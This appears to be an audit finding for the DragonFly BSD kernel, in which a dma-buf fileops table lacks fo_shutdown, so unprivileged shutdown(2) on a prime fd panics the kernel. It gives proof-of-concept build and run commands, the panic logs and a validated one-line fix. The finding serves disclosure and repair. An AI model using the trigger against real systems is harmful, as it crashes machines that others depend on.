# DF-5133 — shutdown(2) on a dma-buf fd calls a NULL fo_shutdown (kernel panic)

`sys/dev/drm/linux_dma-buf.c:107-115` — `dmabuf_fileops` initializes only 7 of
the 8 members of DragonFly's `struct fileops` (sys/sys/file.h:76-89);
`.fo_shutdown` is left NULL. Every other fileops in the kernel sets it
(`vnops`→nofo_shutdown, sockets→soo_shutdown, pipes→pipe_shutdown,
kqueue→nofo_shutdown, mqueue/badfileops→badfo_shutdown).

`kern_shutdown()` (sys/kern/kern_descrip.c:1522-1535) — the backend of
`shutdown(2)` — performs **no file-type check**: it `holdfp()`s any fd and
immediately calls `fp->f_ops->fo_shutdown(fp, how)`. On a dma-buf fd this is an
indirect call through a NULL pointer → fatal trap 12 at IP 0.

Reachability on real hardware: an unprivileged user with a drm render node
obtains a dma-buf fd via `DRM_IOCTL_PRIME_HANDLE_TO_FD`
(drm_prime.c:669 `dma_buf_fd()`), then calls `shutdown(fd, SHUT_RDWR)`.

## Reproduce (on the audit QEMU guest, which has no GPU)

The guest's QEMU std-VGA has no drm device, so the unprivileged render-node
path cannot produce a dma-buf fd. The `dmabugdemo` kmod stands in for that
hardware step: it calls the REAL `dma_buf_export()` + `dma_buf_fd()` from
`sys/dev/drm/linux_dma-buf.c` (resolved from the stock drm.ko) in the context
of the calling process, then `kern_shutdown()` — i.e. the last two steps are
the genuine kernel code paths under test, run as uid 65534.

```
# build (guest)
cd /root/poc
cc -O -o panic_trigger panic_trigger.c
printf 'KMOD=\tdmabugdemo\nSRCS=\tdmabuf_demo.c\n\n.include <bsd.kmod.mk>\n' > Makefile
make

# run (guest)
kldload drm
kldload /usr/obj/root/poc/dmabugdemo.ko
su -m nobody -c /tmp/panic_trigger
```

## Expected output (baseline, unpatched modules)

```
[panic_trigger] uid=65534 firing hw.dmabug.panic: kern_shutdown(dmabuf_fd, SHUT_RDWR) with dmabuf_fileops.fo_shutdown == NULL
<guest dies: ssh hangs>
```

Serial console (`vm.sh log`):

```
dmabug: panic: uid=65534 dmabuf fd=3 f_ops=0xffffffff82672180 fo_shutdown=0 (NULL => indirect call to 0)
dmabug: panic: calling kern_shutdown(3, SHUT_RDWR) -- same path as an unprivileged shutdown(2) on a prime fd
Fatal user address access from kernel mode from panic_trigger at 0000000000000000
Fatal trap 12: page fault while in kernel mode
fault virtual address	= 0x0
instruction pointer	= 0x8:0x0
current process		= 1312 (panic_trigger)
db>
```

## Fix validation

`fix.diff` adds `.fo_shutdown = badfo_shutdown` to `dmabuf_fileops`.
After applying to the guest's /usr/src copy, rebuilding + installing drm.ko
and rebooting, the same trigger returns cleanly:

```
[panic_trigger] uid=65534 firing hw.dmabug.panic: ...
dmabug: panic: uid=65534 dmabuf fd=3 f_ops=0xffffffff82654900 fo_shutdown=0xffffffff8062e5d0 (NULL => indirect call to 0)
dmabug: panic: shutdown RETURNED (fo_shutdown set => fixed)
[panic_trigger] shutdown() returned 0 -- kernel survived (fo_shutdown present / fixed)
```

(full logs: run.log = baseline panic run + serial excerpt; fix_run.log =
patched-kernel run)
